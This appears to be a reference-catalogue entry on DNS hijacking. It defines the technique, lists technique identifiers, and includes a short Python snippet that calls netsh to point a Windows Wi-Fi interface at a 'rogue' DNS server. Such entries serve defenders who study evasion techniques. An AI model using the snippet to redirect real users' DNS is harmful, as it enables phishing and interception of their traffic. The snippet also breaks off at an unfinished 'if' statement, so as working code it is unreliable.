DNS Hijacking

Created the Tuesday 23 April 2019. Updated 6 months, 2 weeks ago.

DNS hijacking or DNS redirection is a technique used to subvert the normal domain name resolution process. It involves redirecting DNS queries to a rogue DNS server controlled by an attacker, or modifying the behavior of a trusted DNS server so that it does not comply with internet standards. This can be done for various purposes, such as phishing attacks, censorship, or for the self-serving purposes of internet service providers (ISPs) and DNS service providers.

DNS hijacking can be carried out by malware that modifies a computer's TCP/IP configuration to point to a rogue DNS server. This allows the attacker to redirect the user's internet traffic to malicious websites or to block access to certain websites. It can also be used by ISPs and DNS service providers to redirect users to their own web servers for advertising or other purposes.

Technique Identifiers

U0904 E1643.m01

Technique Tags

DNS hijacking DNS redirection Domain name system (DNS) Rogue DNS server Trusted DNS server

Code Snippets

import subprocess

# Replace with the IP address of the rogue DNS server
rogue_dns_server = "10.0.0.1"

# Get the current DNS server settings
current_dns_servers = subprocess.check_output(["netsh", "interface", "ip", "show", "dnsservers"])

# Modify the DNS server settings to point to the rogue DNS server
subprocess.call(["netsh", "interface", "ip", "add", "dnsservers", "Wi-Fi", rogue_dns_server])

# Confirm that the DNS server settings have been changed
new_dns_servers = subprocess.check_output(["netsh", "interface", "ip", "show", "dnsservers"])
if new_dns_servers

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

DNS hijacking - Wikipedia